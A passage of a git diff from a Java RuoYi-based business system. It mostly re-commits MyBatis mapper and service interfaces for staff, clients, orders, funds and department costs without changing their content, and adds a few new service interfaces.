org.dromara.work.domain.TpRemittance; +import org.dromara.work.domain.vo.TpRemittanceVo; + +/** + * 汇款Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpRemittanceMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffMapper.java index bdaf52c..75fe636 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpStaff; -import org.dromara.work.domain.vo.TpStaffVo; - -/** - * 人员Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpStaffMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpStaff; +import org.dromara.work.domain.vo.TpStaffVo; + +/** + * 人员Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpStaffMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffPayMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffPayMapper.java index 57e5de0..7e0b540 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffPayMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpStaffPayMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpStaffPay; -import org.dromara.work.domain.vo.TpStaffPayVo; - -/** - * 客服支出记录Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpStaffPayMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpStaffPay; +import org.dromara.work.domain.vo.TpStaffPayVo; + +/** + * 客服支出记录Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpStaffPayMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatMapper.java index d6952fc..b3cb1ce 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatMapper.java @@ -1,31 +1,31 @@ -package org.dromara.work.mapper; - -import com.baomidou.mybatisplus.core.metadata.IPage; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpWechat; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.bo.TpWechatBo; -import org.dromara.work.domain.vo.TpWechatVo; -import org.dromara.work.domain.vo.WxNumDayListVo; - -import java.util.List; - -/** - * 基本信息Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpWechatMapper extends BaseMapperPlus { - - IPage selectVoPageList(@Param("page") IPage page,@Param("bo") TpWechatBo bo); - - List selectVoList(@Param("bo") TpWechatBo bo); - - List wxDayList(@Param("bo") OrderRankingBo bo, @Param("wxIds") List wxIds); - - List wxMonthList(@Param("bo") OrderRankingBo bo, @Param("wxIds") List wxIds); - - List selectVoListExport(@Param("bo") TpWechatBo bo); -} +package org.dromara.work.mapper; + +import com.baomidou.mybatisplus.core.metadata.IPage; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpWechat; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.bo.TpWechatBo; +import org.dromara.work.domain.vo.TpWechatVo; +import org.dromara.work.domain.vo.WxNumDayListVo; + +import java.util.List; + +/** + * 基本信息Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpWechatMapper extends BaseMapperPlus { + + IPage selectVoPageList(@Param("page") IPage page,@Param("bo") TpWechatBo bo); + + List selectVoList(@Param("bo") TpWechatBo bo); + + List wxDayList(@Param("bo") OrderRankingBo bo, @Param("wxIds") List wxIds); + + List wxMonthList(@Param("bo") OrderRankingBo bo, @Param("wxIds") List wxIds); + + List selectVoListExport(@Param("bo") TpWechatBo bo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatNumMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatNumMapper.java index 61384b4..3600712 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatNumMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatNumMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpWechatNum; -import org.dromara.work.domain.vo.TpWechatNumVo; - -/** - * 更新好友数记录Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpWechatNumMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpWechatNum; +import org.dromara.work.domain.vo.TpWechatNumVo; + +/** + * 更新好友数记录Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpWechatNumMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatUserMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatUserMapper.java index d52d2f2..5b4be6b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatUserMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWechatUserMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpWechatUser; -import org.dromara.work.domain.vo.TpWechatUserVo; - -/** - * 微信使用人修改历史Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpWechatUserMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpWechatUser; +import org.dromara.work.domain.vo.TpWechatUserVo; + +/** + * 微信使用人修改历史Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpWechatUserMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWorksMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWorksMapper.java index 03e777e..0025dc8 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWorksMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpWorksMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.work.domain.TpWorks; -import org.dromara.work.domain.vo.TpWorksVo; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; - -/** - * 作品收藏Mapper接口 - * - * @author Maosw - * @date 2025-07-23 - */ -public interface TpWorksMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.work.domain.TpWorks; +import org.dromara.work.domain.vo.TpWorksVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 作品收藏Mapper接口 + * + * @author Maosw + * @date 2025-07-23 + */ +public interface TpWorksMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpYearMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpYearMapper.java index b34cfaf..6bb48ed 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpYearMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TpYearMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TpYear; -import org.dromara.work.domain.vo.TpYearVo; - -/** - * 年目标Mapper接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface TpYearMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TpYear; +import org.dromara.work.domain.vo.TpYearVo; + +/** + * 年目标Mapper接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface TpYearMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzSharedAccountMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzSharedAccountMapper.java index ed4eec7..73d3c3e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzSharedAccountMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzSharedAccountMapper.java @@ -1,15 +1,15 @@ -package org.dromara.work.mapper; - -import org.dromara.work.domain.TzSharedAccount; -import org.dromara.work.domain.vo.TzSharedAccountVo; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; - -/** - * 共享账号Mapper接口 - * - * @author Maosw - * @date 2025-05-06 - */ -public interface TzSharedAccountMapper extends BaseMapperPlus { - -} +package org.dromara.work.mapper; + +import org.dromara.work.domain.TzSharedAccount; +import org.dromara.work.domain.vo.TzSharedAccountVo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * 共享账号Mapper接口 + * + * @author Maosw + * @date 2025-05-06 + */ +public interface TzSharedAccountMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzUserMapper.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzUserMapper.java index 359c42d..f76446c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzUserMapper.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/mapper/TzUserMapper.java @@ -1,16 +1,16 @@ -package org.dromara.work.mapper; - -import com.github.yulichang.base.MPJBaseMapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.work.domain.TzUser; -import org.dromara.work.domain.vo.TzUserVo; - -/** - * 用户Mapper接口 - * - * @author Lion Li - * @date 2024-07-30 - */ -public interface TzUserMapper extends BaseMapperPlus, MPJBaseMapper { - -} +package org.dromara.work.mapper; + +import com.github.yulichang.base.MPJBaseMapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.work.domain.TzUser; +import org.dromara.work.domain.vo.TzUserVo; + +/** + * 用户Mapper接口 + * + * @author Lion Li + * @date 2024-07-30 + */ +public interface TzUserMapper extends BaseMapperPlus, MPJBaseMapper { + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/IOrderService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/IOrderService.java index 2a06fe9..b6c1889 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/IOrderService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/IOrderService.java @@ -1,112 +1,112 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.vo.DeptRankingVo; -import org.dromara.work.domain.vo.OrderDayListVo; -import org.dromara.work.domain.vo.PerCountVo; -import org.dromara.work.domain.vo.PerSumVo; - -import java.util.List; - -public interface IOrderService extends MPJBaseService { - -/** - * 部门排行榜 - * @param bo - * @return - */ - List deptRankingList(SysDeptBo bo); - - /** - * 部门排行榜 - * @param bo - * @return - */ - List deptRankingList1(SysDeptBo bo); - - List deptRankingJSList(SysDeptBo bo); - - List deptRankingJSList1(SysDeptBo bo); - - /** - * 客服日统计 - * @param bo - * @return - */ - List kfDayList(OrderRankingBo bo, List userIds); - - /** - * 分图月统计 - * @param bo - * @param userIds - * @return - */ - List ftDayList(OrderRankingBo bo, List userIds); - - /** - * 技术月统计 - * @param bo - * @param userIds - * @return - */ - List jsDayList(OrderRankingBo bo, List userIds); - - /** - * 业绩按月统计 - * @param month - * @param deptId - * @return - */ - List monthArrivedPer(String month, Long deptId); - - /** - * 业绩按年统计 - * @param year - * @param deptId - * @return - */ - List yearArrivedPer(String year, Long deptId); - - /** - * 订单类型统计 - * @param month - * @param deptId - * @return - */ - List monthOrderType(String month, Long deptId); - - /** - * 订单空间统计 - * @param month - * @param deptId - * @return - */ - List monthOrderSpace(String month, Long deptId); - - /** - * 订单风格统计 - * @param month - * @param deptId - * @return - */ - List monthOrderStyle(String month, Long deptId); - - /** - * 新老客户占比 - * @param month - * @param deptId - * @return - */ - List newOldOrderPer(String month, Long deptId); - - /** - * 更新订单部门信息 - * @param sysUserBo - * @return - */ - Boolean updateOrder(SysUserBo sysUserBo); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.vo.DeptRankingVo; +import org.dromara.work.domain.vo.OrderDayListVo; +import org.dromara.work.domain.vo.PerCountVo; +import org.dromara.work.domain.vo.PerSumVo; + +import java.util.List; + +public interface IOrderService extends MPJBaseService { + +/** + * 部门排行榜 + * @param bo + * @return + */ + List deptRankingList(SysDeptBo bo); + + /** + * 部门排行榜 + * @param bo + * @return + */ + List deptRankingList1(SysDeptBo bo); + + List deptRankingJSList(SysDeptBo bo); + + List deptRankingJSList1(SysDeptBo bo); + + /** + * 客服日统计 + * @param bo + * @return + */ + List kfDayList(OrderRankingBo bo, List userIds); + + /** + * 分图月统计 + * @param bo + * @param userIds + * @return + */ + List ftDayList(OrderRankingBo bo, List userIds); + + /** + * 技术月统计 + * @param bo + * @param userIds + * @return + */ + List jsDayList(OrderRankingBo bo, List userIds); + + /** + * 业绩按月统计 + * @param month + * @param deptId + * @return + */ + List monthArrivedPer(String month, Long deptId); + + /** + * 业绩按年统计 + * @param year + * @param deptId + * @return + */ + List yearArrivedPer(String year, Long deptId); + + /** + * 订单类型统计 + * @param month + * @param deptId + * @return + */ + List monthOrderType(String month, Long deptId); + + /** + * 订单空间统计 + * @param month + * @param deptId + * @return + */ + List monthOrderSpace(String month, Long deptId); + + /** + * 订单风格统计 + * @param month + * @param deptId + * @return + */ + List monthOrderStyle(String month, Long deptId); + + /** + * 新老客户占比 + * @param month + * @param deptId + * @return + */ + List newOldOrderPer(String month, Long deptId); + + /** + * 更新订单部门信息 + * @param sysUserBo + * @return + */ + Boolean updateOrder(SysUserBo sysUserBo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpChangePriceService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpChangePriceService.java index 694ee1c..ff83e75 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpChangePriceService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpChangePriceService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpChangePriceBo; -import org.dromara.work.domain.vo.TpChangePriceVo; - -import java.util.Collection; -import java.util.List; - -/** - * 改价配置Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpChangePriceService { - - /** - * 查询改价配置 - * - * @param id 主键 - * @return 改价配置 - */ - TpChangePriceVo queryById(Long id); - - /** - * 分页查询改价配置列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 改价配置分页列表 - */ - TableDataInfo queryPageList(TpChangePriceBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的改价配置列表 - * - * @param bo 查询条件 - * @return 改价配置列表 - */ - List queryList(TpChangePriceBo bo); - - /** - * 新增改价配置 - * - * @param bo 改价配置 - * @return 是否新增成功 - */ - Boolean insertByBo(TpChangePriceBo bo); - - /** - * 修改改价配置 - * - * @param bo 改价配置 - * @return 是否修改成功 - */ - Boolean updateByBo(TpChangePriceBo bo); - - /** - * 校验并批量删除改价配置信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpChangePriceBo; +import org.dromara.work.domain.vo.TpChangePriceVo; + +import java.util.Collection; +import java.util.List; + +/** + * 改价配置Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpChangePriceService { + + /** + * 查询改价配置 + * + * @param id 主键 + * @return 改价配置 + */ + TpChangePriceVo queryById(Long id); + + /** + * 分页查询改价配置列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 改价配置分页列表 + */ + TableDataInfo queryPageList(TpChangePriceBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的改价配置列表 + * + * @param bo 查询条件 + * @return 改价配置列表 + */ + List queryList(TpChangePriceBo bo); + + /** + * 新增改价配置 + * + * @param bo 改价配置 + * @return 是否新增成功 + */ + Boolean insertByBo(TpChangePriceBo bo); + + /** + * 修改改价配置 + * + * @param bo 改价配置 + * @return 是否修改成功 + */ + Boolean updateByBo(TpChangePriceBo bo); + + /** + * 校验并批量删除改价配置信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientFundService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientFundService.java new file mode 100644 index 0000000..ae9a16a --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientFundService.java @@ -0,0 +1,68 @@ +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpClientFundVo; +import org.dromara.work.domain.bo.TpClientFundBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 客户资金记录Service接口 + * + * @author Maosw + * @date 2026-01-16 + */ +public interface ITpClientFundService { + + /** + * 查询客户资金记录 + * + * @param id 主键 + * @return 客户资金记录 + */ + TpClientFundVo queryById(Long id); + + /** + * 分页查询客户资金记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客户资金记录分页列表 + */ + TableDataInfo queryPageList(TpClientFundBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的客户资金记录列表 + * + * @param bo 查询条件 + * @return 客户资金记录列表 + */ + List queryList(TpClientFundBo bo); + + /** + * 新增客户资金记录 + * + * @param bo 客户资金记录 + * @return 是否新增成功 + */ + int insertByBo(TpClientFundBo bo); + + /** + * 修改客户资金记录 + * + * @param bo 客户资金记录 + * @return 是否修改成功 + */ + Boolean updateByBo(TpClientFundBo bo); + + /** + * 校验并批量删除客户资金记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientService.java index 597e579..a9b89b4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientService.java @@ -1,84 +1,84 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpClient; -import org.dromara.work.domain.bo.TpClientBo; -import org.dromara.work.domain.vo.ClientSumVo; -import org.dromara.work.domain.vo.TpClientVo; - -import java.util.Collection; -import java.util.List; - -/** - * 客户Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpClientService extends MPJBaseService { - - /** - * 查询客户 - * - * @param id 主键 - * @return 客户 - */ - TpClientVo queryById(Long id); - - /** - * 分页查询客户列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 客户分页列表 - */ - TableDataInfo queryPageList(TpClientBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的客户列表 - * - * @param bo 查询条件 - * @return 客户列表 - */ - List queryList(TpClientBo bo); - - /** - * 新增客户 - * - * @param bo 客户 - * @return 是否新增成功 - */ - Boolean insertByBo(TpClientBo bo); - - /** - * 修改客户 - * - * @param bo 客户 - * @return 是否修改成功 - */ - Boolean updateByBo(TpClientBo bo); - - /** - * 校验并批量删除客户信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 获取全部客户 - * @return - */ - List queryAllList(); - - /** - * 查询客户下单金额统计列表 - * @param bo - * @return - */ - TableDataInfo queryPageListChart(TpClientBo bo, PageQuery pageQuery); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpClient; +import org.dromara.work.domain.bo.TpClientBo; +import org.dromara.work.domain.vo.ClientSumVo; +import org.dromara.work.domain.vo.TpClientVo; + +import java.util.Collection; +import java.util.List; + +/** + * 客户Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpClientService extends MPJBaseService { + + /** + * 查询客户 + * + * @param id 主键 + * @return 客户 + */ + TpClientVo queryById(Long id); + + /** + * 分页查询客户列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客户分页列表 + */ + TableDataInfo queryPageList(TpClientBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的客户列表 + * + * @param bo 查询条件 + * @return 客户列表 + */ + List queryList(TpClientBo bo); + + /** + * 新增客户 + * + * @param bo 客户 + * @return 是否新增成功 + */ + Boolean insertByBo(TpClientBo bo); + + /** + * 修改客户 + * + * @param bo 客户 + * @return 是否修改成功 + */ + Boolean updateByBo(TpClientBo bo); + + /** + * 校验并批量删除客户信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 获取全部客户 + * @return + */ + List queryAllList(); + + /** + * 查询客户下单金额统计列表 + * @param bo + * @return + */ + TableDataInfo queryPageListChart(TpClientBo bo, PageQuery pageQuery); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientStaffService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientStaffService.java index bcb6284..d76837d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientStaffService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpClientStaffService.java @@ -1,70 +1,70 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpClientStaff; -import org.dromara.work.domain.bo.TpClientStaffBo; -import org.dromara.work.domain.vo.TpClientStaffVo; - -import java.util.Collection; -import java.util.List; - -/** - * 客户+客服Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpClientStaffService extends MPJBaseService { - - /** - * 查询客户+客服 - * - * @param id 主键 - * @return 客户+客服 - */ - TpClientStaffVo queryById(Long id); - - /** - * 分页查询客户+客服列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 客户+客服分页列表 - */ - TableDataInfo queryPageList(TpClientStaffBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的客户+客服列表 - * - * @param bo 查询条件 - * @return 客户+客服列表 - */ - List queryList(TpClientStaffBo bo); - - /** - * 新增客户+客服 - * - * @param bo 客户+客服 - * @return 是否新增成功 - */ - Boolean insertByBo(TpClientStaffBo bo); - - /** - * 修改客户+客服 - * - * @param bo 客户+客服 - * @return 是否修改成功 - */ - Boolean updateByBo(TpClientStaffBo bo); - - /** - * 校验并批量删除客户+客服信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpClientStaff; +import org.dromara.work.domain.bo.TpClientStaffBo; +import org.dromara.work.domain.vo.TpClientStaffVo; + +import java.util.Collection; +import java.util.List; + +/** + * 客户+客服Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpClientStaffService extends MPJBaseService { + + /** + * 查询客户+客服 + * + * @param id 主键 + * @return 客户+客服 + */ + TpClientStaffVo queryById(Long id); + + /** + * 分页查询客户+客服列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客户+客服分页列表 + */ + TableDataInfo queryPageList(TpClientStaffBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的客户+客服列表 + * + * @param bo 查询条件 + * @return 客户+客服列表 + */ + List queryList(TpClientStaffBo bo); + + /** + * 新增客户+客服 + * + * @param bo 客户+客服 + * @return 是否新增成功 + */ + Boolean insertByBo(TpClientStaffBo bo); + + /** + * 修改客户+客服 + * + * @param bo 客户+客服 + * @return 是否修改成功 + */ + Boolean updateByBo(TpClientStaffBo bo); + + /** + * 校验并批量删除客户+客服信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDeptCostService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDeptCostService.java new file mode 100644 index 0000000..c52cb0b --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDeptCostService.java @@ -0,0 +1,68 @@ +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpDeptCostVo; +import org.dromara.work.domain.bo.TpDeptCostBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 部门成本Service接口 + * + * @author Maosw + * @date 2025-11-20 + */ +public interface ITpDeptCostService { + + /** + * 查询部门成本 + * + * @param id 主键 + * @return 部门成本 + */ + TpDeptCostVo queryById(Long id); + + /** + * 分页查询部门成本列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 部门成本分页列表 + */ + TableDataInfo queryPageList(TpDeptCostBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的部门成本列表 + * + * @param bo 查询条件 + * @return 部门成本列表 + */ + List queryList(TpDeptCostBo bo); + + /** + * 新增部门成本 + * + * @param bo 部门成本 + * @return 是否新增成功 + */ + Boolean insertByBo(TpDeptCostBo bo); + + /** + * 修改部门成本 + * + * @param bo 部门成本 + * @return 是否修改成功 + */ + Boolean updateByBo(TpDeptCostBo bo); + + /** + * 校验并批量删除部门成本信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDeptReportService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDeptReportService.java new file mode 100644 index 0000000..98a4459 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpDeptReportService.java @@ -0,0 +1,68 @@ +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpDeptReportVo; +import org.dromara.work.domain.bo.TpDeptReportBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 部门业绩报Service接口 + * + * @author Maosw + * @date 2025-11-19 + */ +public interface ITpDeptReportService { + + /** + * 查询部门业绩报 + * + * @param id 主键 + * @return 